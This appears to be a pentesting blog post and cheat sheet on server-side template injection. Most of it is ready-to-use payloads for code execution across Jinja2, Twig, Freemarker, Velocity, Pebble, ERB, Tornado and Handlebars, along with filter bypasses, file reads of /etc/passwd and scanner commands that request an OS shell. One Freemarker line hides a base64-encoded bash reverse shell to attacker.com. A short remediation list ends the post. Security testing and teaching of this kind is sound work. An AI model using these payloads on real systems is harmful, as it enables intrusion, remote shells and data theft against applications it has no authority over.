← Back to writing
Web Pentesting

Server-Side Template Injection (SSTI)

May 02, 2024
2 min read
lawbyte

SSTI occurs when user input is embedded directly into a template string that is then rendered server-side. The template engine evaluates your input as code, leading to arbitrary code execution. Impact is critical: almost always RCE.

Detection — Fuzzing for Template Syntax

${{<%['"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
@(7*7)
${{"freemarker"?upper_case}}

If you see 49 in the response, SSTI is confirmed.

Polyglot detection payload

${{<%['"}}%\

This triggers errors in multiple engines simultaneously, revealing which template engine is in use.


Engine Identification

Use a decision tree based on what renders:

{{7*7}}  → 49?
└─ Yes → Jinja2 / Twig / Mako
└─ {{7*'7'}} → '7777777'? → Twig
└─ {{7*'7'}} → 49? → Jinja2 / Python

${7*7} → 49?
└─ Yes → Freemarker / Velocity / Groovy

<%= 7*7 %> → 49?
└─ Yes → ERB (Ruby) / EJS

Jinja2 (Python — Flask, Django)

Basic code execution

{{7*7}}                          # 49 — confirms SSTI
{{config}} # dump Flask config (may contain SECRET_KEY)
{{self.__dict__}}
{{request}} # Flask request context

# Access Python builtins via MRO chain
{{''.__class__.__mro__[1].__subclasses__()}}

# Find subprocess.Popen in subclasses list (index varies)
{{''.__class__.__mro__[1].__subclasses__()[INDEX](['id'], stdout=-1).communicate()}}

Full RCE payload

# Find the index of subprocess.Popen
{{''.__class__.__mro__[1].__subclasses__()}}
# Look for <class 'subprocess.Popen'> in the list, note its index

# Execute command (replace INDEX)
{{''.__class__.__mro__[1].__subclasses__()[INDEX](['id'],stdout=-1).communicate()}}

# Alternative — use __import__
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Via request globals
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Bypass — when dots/brackets are filtered

# Use |attr() filter
{{''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()}}

# Use request.args to pass payload as GET parameter
GET /?x=__import__('os').popen('id').read()
Template: {{request.args.x|e}}
# Bypass: {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}

Twig (PHP — Symfony, Craft CMS)

{{7*7}}                          # 49
{{7*'7'}} # 7777777 — confirms Twig (vs Jinja2)

# Dump environment
{{_self.env}}
{{dump(app)}}

# Execute via filter
{{'/etc/passwd'|file_excerpt(1,30)}}
{{'id'|system}} # if system filter is registered

# Twig 1.x — direct code execution via _self
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

# Twig 2.x — sandbox bypass (when sandbox is enabled)
{{['id']|map('system')}} # may work in some configs

Freemarker (Java)

${7*7}                           # 49
${"freemarker"?upper_case} # FREEMARKER

# RCE via API access
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().forName("java.lang.Runtime").getMethod("exec","".class).invoke(product.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

# Simpler with Execute class
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|bash")}

Velocity (Java)

#set($x = "")
#set($rt = $x.class.forName("java.lang.Runtime"))
#set($chr = $x.class.forName("java.lang.Character"))
#set($str = $x.class.forName("java.lang.String"))
#set($ex = $rt.getRuntime().exec("id"))
$ex.waitFor()
#set($out = $ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Pebble (Java)

{{ variable }}
{% for i in range(1,5) %}{{ i }}{% endfor %}

# RCE
{% set x %}{{'a'.toUpperCase()}}{% endset %}
{%- for s in "aa".toCharArray() -%}
{{ s.getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(s.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "id") }}
{%- endfor -%}

ERB (Ruby — Rails)

<%= 7*7 %>                       # 49
<%= File.read('/etc/passwd') %> # file read
<%= `id` %> # command execution
<%= system('id') %>
<%= IO.popen('id').read %>

Tornado (Python)

{% import os %}{{ os.popen('id').read() }}
{%autoescape None%}{% import os %}{{os.system('id')}}

Handlebars (JavaScript/Node)

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id').toString();"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Tools

# tplmap — automatic SSTI scanner and exploiter
python tplmap.py -u "https://target.com/?name=INJECT"
python tplmap.py -u "https://target.com/" --data "name=INJECT"
python tplmap.py -u "https://target.com/?name=INJECT" --os-shell

# SSTImap (updated fork)
python sstimap.py -u "https://target.com/?input=INJECT" --os-shell

Remediation

  • Never pass user input directly to template rendering functions.
  • Use sandboxed template rendering with restricted access to Python globals.
  • Separate template code from user-supplied data — render with a data dictionary, not string concatenation.
  • If you must allow user templates, use a restricted template language (Liquid, Mustache) that doesn’t allow code execution.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.